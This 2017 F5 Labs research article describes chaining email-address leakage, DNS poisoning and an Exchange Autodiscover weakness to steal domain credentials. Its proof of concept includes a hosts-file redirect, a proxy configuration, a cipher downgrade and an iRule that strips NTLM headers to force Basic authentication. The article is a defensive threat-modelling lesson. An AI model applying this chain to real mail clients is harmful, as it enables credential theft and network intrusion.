ARTICLE

How Three Low-Risk Vulnerabilities Become One High

By Keiron Shepherd and Ray Pompon

Date: February 13, 2017

As security professionals, we have limited time and resources, so we tend to focus our attention on the threats and vulnerabilities with the highest significance. Those that are rated lower can be fixed later when we have time—which, in reality, is never. We have no spare time. So, what happens is that these low-risk vulnerabilities end up having long lives in our infrastructure and generally don't make a nuisance of themselves.

A Trio of Deuces

At F5, we're seeing skilled attackers stitch together esoteric and low-risk vulnerabilities into devastating attacks. In the same way that a trio of deuces will beat a pair of kings, low-risk attacks can add up to one very high one—and defenders need to keep their eyes peeled.

Why are Some Attacks Rated Low Risk?

Any security pro worth his or her certifications will tell you that risk has two components: impact and probability. Sophisticated attacks with deep impact can still be rated low risk because of their difficulty to realize. One such an attack is Marco van Beek's *Microsoft Exchange Autodiscover* attack against Microsoft Exchange Server. According to The Register, Microsoft has downplayed the seriousness of an alleged Exchange auto-discovery vulnerability, saying that it sees no need to patch the reported security weakness.[1] Fair enough.

Attacks can also be rated low risk because of their minimal impact. Domain name client poisoning is an example of such an attack. It's not difficult to pull off; in fact, there are point-and-click tools to help. But, the impact has been limited to fooling a single user in limited ways. No big deal.

And, perhaps one of the lowest rated risks is information leakage. Not leakage of confidential data, but something innocuous like an attacker learning your email address. (Heck, for anyone who hands out business cards, that's not even considered a vulnerability.)

The Power of Sequencing Low-Risk Attacks

If attackers sequence together these three low-risk attacks in the right way—one trivial (information leakage), one old and weak (DNS cache poisoning), and one esoteric (van Beek's Microsoft Exchange Autodiscover)—they can build a very effective, high-risk attack method, enabling them to snatch someone's login credentials from Microsoft Exchange. This is just how attackers think—because they will do whatever it takes to get you. Given enough time, someone will automate this sequence and then every hacker will be doing it.

So, what's the sequence? It looks like this:

Attack types	Vulnerability/Category	Complexity
1. Obtain a victim's email address.	Information leakage	Trivial
2. Poison the victim's DNS cache by using a rogue access point on WiFi. Now in control of the victim's traffic, redirect that traffic through a proxy server that you control.	DNS cache poisoning	Trivial
3. Use van Beek's Microsoft Exchange Autodiscover vulnerability and downgrade the authentication and sniff away to get the user's email password.	van Beek's Microsoft Exchange Autodiscover vulnerability	Esoteric
Profit! You now have the victim's login credentials (address and password) to their email account, and possibly the rest of the domain if it is a corporate account.		

[1] http://www.theregister.co.uk/2016/09/19/ms_exchange_alleged_bug/

It’s the last part of that statement that makes this difficult. According to The Register, Microsoft responded that “the issue described assumes a shared domain web server has already been compromised by another method.” The implication being that the requirement for an attacker to have control of any web server in the victim’s domain makes this attack unlikely.

We at F5 questioned this response since we know there’s more than one way to appear to be on a domain. In fact, with a rogue wireless access point tool, such as the one provided as part of the Kali Linux attack boot image[2], an attacker can control the victim’s DNS. And if the attacker isn’t able to go wireless, there’s always the Ettercap tool[3] for wired attacks. In any case, it’s not impossible to pull off.

Once the attacker poisons the victim’s DNS to trick the mail client into going to a fake site of the attacker’s own devising, he can then perform van Beek’s attack. This enables him to capture the Autodiscover traffic and then to negotiate the client authentication to Basic mode, which has no encryption protecting the password. Once it’s in the clear and the attacker controls the conversation, he can sniff the password.

At that point, all the attacker needs is the user login name, which is the victim’s email address. Email addresses are pretty simple to obtain or even guess because they are nearly always based on the user’s name. Once determined, the attacker then has unfettered, undetected access to all of the victim’s email as well as calendar, task list, contacts, and whatever useful documents are kept there. This would be somewhat annoying for the average user if their information were disclosed. However, for an executive whose most critical written communication tool is email, this is *really bad*. (If you think the impact of a leader’s hacked email can’t be harmful, recall how the 2016 U.S. presidential election played out. Enough said.)

Furthermore, the password is usually the victim’s Windows Active Directory (AD) authentication credential. The password can give the attacker the victim’s normal login privileges, once he figures out the AD username (also pretty easy to guess). If the victim’s organization isn’t using strong authentication for its remote access gateways, the attacker can then gain access to the victim’s network, where he can pivot and hack at will.

[2] https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/
[3] https://ettercap.github.io/ettercap/

So yes, in theory, three mostly underrated attacks can be lined up one after the other to cause some serious damage. But, is this really possible? Let us show you how.

Proof of Concept

We decided to run some tests to see if the Microsoft Exchange Autodiscover hole that van Beek discussed could be expanded upon by using an intercepting proxy server to further the attack. What we found is that an attacker with simple knowledge of an email address, sitting on a network, can poison a client's DNS, downgrade the authentication (if necessary), and grab a user's domain credentials. These credentials can then be used to log onto a corporate SSL VPN or other enterprise systems to launch further attacks.

The theory, according to van Beek, is that clients using Autodiscover will provide a user's password over SSL to any web server on the same network as the client, which can then proxy the request on to the intended Exchange server. This is due to lack of validation or enforcement of the server's SSL certificate.

Mail clients when not on the domain, will try to connect to the URL shown below to obtain relevant information to configure the client's mailbox. It uses everything to the right of the "@" to obtain domain information, for example, user@example.com.

Microsoft documentation points to the following formats currently in use:

- "https://" + domain + "/autodiscover/autodiscover" + fileExtension
- "https://autodiscover." + domain + "/autodiscover/autodiscover" + fileExtension

When sniffing the Outlook client, we noticed it uses https://autodiscover.example.com/autodiscover/autodiscover.xml.

```
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: autodiscover.example.com:443
Content-Type: text/xml; charset=utf-8
X-ClientStatistics: DeviceID=24E3E249-63D9-54F8-B5B2-C70A6CAEB35A; SessionID=19BF7C9F-73CB-
4680-8797-D92285099889
Content-Length: 350
Accept-Language: en
Connection: keep-alive
Client-Request-Id: {D43790FA-FDCF-46AC-9580-45A56FDD0861}
User-Agent: MacOutlook/0.0.0.160109 (Intel Mac OS X Version 10.11.6 (Build 15G1004))
```

This would resolve to a public IP address of the client's real Microsoft Exchange Server.

In the scenario we chose, an attacker is connected on a public Wi-Fi network and then poisons the DNS record of autodiscover.example.com. So, instead of the client's DNS resolving to the intended public IP address of the real Microsoft Exchange server, it resolves to an address that the attacker is using on the intercepting proxy located on the local network.

In a real world attack, an attacker could use a rogue access point to set the client's DNS, or use another method like Ettercap to poison the client's specific DNS record.

For purposes of the test, we adjusted our host file so that autodiscover.example.com resolved to our intercepting proxy server.

```
CHR-ML-[redacted]:etc [redacted]$ more /etc/hosts
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1    localhost
255.255.255.255 broadcasthost
::1       localhost
10.128.10.210  autodiscover.example.com
```

The intercepting proxy server will then see the same traffic destined for autodiscover.example.com as if it were a compromised HTTP host on the network.

The proxy server configuration we used was a simple port SSL virtual server with the pool member being the client's real Exchange server. In addition, the traffic flow shown below is due to the fact that there is now validation of SSL certificates on the client.

VICTIM(SSL)→ ATTACKER'S_PROXY(SSL)→CLIENT'S_MICROSOFT_EXCHANGE_SERVER

We now have the ability to proxy that SSL traffic, look inside, re-package in SSL, and send onto the client's Microsoft Exchange server.

```
ltm virtual example.com {
  destination 10.128.10.210:https
  ip-protocol tcp
  mask 255.255.255.255
  pool autodiscover_f5_com_pool
  profiles {
    http { }
    outlooc_poc_client_ssl-profile {
      context clientside
    }
    serverssl {
      context serverside
    }
    tcp { }
  }
  rules {
    remove_WWW-Authenticate_NTLM_header_irule
  }
  source 0.0.0.0/0
  source-address-translation {
    type automap
  }
  vs-index 41
}
```

We made sure the client connection was not using any DHE (PFS) ciphers. This was achieved by downgrading the cipher negotiated between the client and the attacker's proxy server.

```
chain none
  ciphers DEFAULT:!SSLv3:!TLSv1_2:!DES:!AES256-SHA
```

This setting negotiated the following cipher with the victim's Outlook client and the attacker's proxy server.

```
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
```

The client negotiates NTLMSSP for authentication after being offered the following headers from the server.

```
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="autodiscover.example.com"
```

As you can see by the final POST from the client, it is using the NTLM challenge response, so it never sends the password across the wire.

```
POST /Autodiscover/Autodiscover.xml HTTP/1.1

HTTP/1.1 401 Unauthorized
Cache-Control: private
Server: Microsoft-IIS/8.0
request-id: ca8fb6df-7717-44f8-8419-ff7efd4e1d18
Set-Cookie: ClientId=EB001F4D44A44C1EA0A3133B70625802; expires=Thu, 21-Sep-2017 19:55:05
GMT; path=/; HttpOnly
X-CasErrorCode: UnauthenticatedRequest
X-AspNet-Version: 4.0.30319
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="autodiscover.example.com"
X-Powered-By: ASP.NET
X-FEServer: SEAEXCHCAS03
Date: Wed, 21 Sep 2016 19:55:05 GMT
Content-Length: 0


POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: autodiscover.example.com:443
Authorization: NTLM
TlRMTVNTUAADAAAAGAAYAEAAAADqAOoAWAAAAA4ADgBCAQAAEAAQAFABAAAeAB4AYAEAAAAAAAAAAAABYIIAEPu8pGd
QkPdPwgc0+bzOM0AZl2r7CEltaJuCTGKUFH4t8D47wsJThEBAQAAAAAAAGAE5A1CFNIBAGZdq+whJbUAAAAAAgAOAE8A
TABZAE0AUABVAFMAAQAYAFMARQBBAEUAWABDAEgAQwBBAFMAMAAzAAQAIgBvAGwAeQBtAHAAdQBzAC4ARgA1AE4AZQB0
AC4AYwBvAG0AAwA8AFMARQBBAEUAWABDAEgAQwBBAFMAMAAzAC4AbwBsAHkAbQBwAHUAcwAuAEYANQBOAGUAdAAuAGMA
bwBtAAUAEgBGADUATgBlAHQALgBjAG8AbQAHAAgAvQV1DEIU0gEAAAAAAAAAAAE8ATABZAE0AUABVAFMAcwBoAGUAcABo
AGUAcgBkAEMASABSAC0ATQBMAC0AUwBIAEUAUAUgBEAA==
```

The information in the POST Authorization header is Base64 encoded, but a quick decode using a free Internet tool can quickly show the NTLM message.

We wanted to capture the client credentials in plaintext so we decided to see if was possible to force the client to drop down the authentication to “Basic” by removing the “Negotiate” and NTLM WWW-Authentication Headers. In our test, we used a simple F5 iRule, which is a TCL script used on F5 BIG-IP devices to manipulate traffic. However, an attacker could probably achieve the same result with their preferred tool of choice like an open source proxy and some Python or NodeJS. On the F5 proxy server we used the following iRule:

The iRule removes these headers from the Microsoft Exchange server response…

```
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
```

…and leaves behind the “Basic” value:

```
WWW-Authenticate: Basic realm="autodiscover.example.com"
```

```
ltm rule remove_WWW-Authenticate_NTLM_header_irule {

  when HTTP_RESPONSE {
  foreach header { WWW-Authenticate} {
   log local0. "Removing $header: [HTTP::header value $header]"
   HTTP::header remove $header
   HTTP::header replace WWW-Authenticate "Basic realm='autodiscover.example.com'"
  }
}
}
```

The result is that the client now negotiates using the only authentication header remaining, which is “Basic” authentication.

And the client is now sending a Base64 encoded Authorization header of our researcher’s username and password. The details for this document have been hidden.

```
addomainname\[redacted]:MY_DOMAIN_PASSWORD!!!

Authorization: Basic *&*&*&*&*&*&*&*&*&*&*&*&*&*&*&
```

```
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: autodiscover.example.com:443
Authorization: Basic *&*&*&*&*&*&*&*&*&*&*&*&*&*&*&
Content-Type: text/xml; charset=utf-8
X-ClientStatistics: DeviceID=24E3E249-63D9-54F8-B5B2-C70A6CAEB35A; SessionID=19BF7C9F-73CB-
4680-8797-D92285099889
Content-Length: 350
Accept-Language: en
Cookie: ClientId=960FBD9E20694A328057218A0879241E
Client-Request-Id: {D43790FA-FDCF-46AC-9580-45A56FDD0861}
Connection: keep-alive
User-Agent: MacOutlook/0.0.0.160109 (Intel Mac OS X Version 10.11.6 (Build 15G1004))
```

Conclusion

This attack scenario illustrates why it's vital to examine low-risk vulnerabilities and consider them part of the overall risk model for an asset. It also stresses the importance of adversarial threat modelling and testing, which can come from an external penetration tester or an internal red team.

Overall, pulling off this type of three-step attack requires some work, but now that it's been laid out, the hardest steps are clear. In this case, since Microsoft doesn't recognize this vulnerability and has no plans for a patch, it's only a matter of time before someone codes this up into a single proof-of-concept tool, say for a pen-tester's ISO image. At that point, what was originally a series of tedious steps becomes a script-kiddie automated tool. Then again, automation is what computers excel at doing, and that is how complex attacks that only "sophisticated attackers" use become commonplace threats to everyone on the Internet.

ABOUT F5 LABS

F5 Labs combines the threat intelligence data we collect with the expertise of our security researchers to provide actionable, global intelligence on current cyber threats—and to identify future trends. We look at everything from threat actors, to the nature and source of attacks, to post-attack analysis of significant incidents to create a comprehensive view of the threat landscape. From the newest malware variants to zero-day exploits and attack trends, F5 Labs is where you'll find the latest insights from F5's threat intelligence team.

For more information, visit: f5.com/labs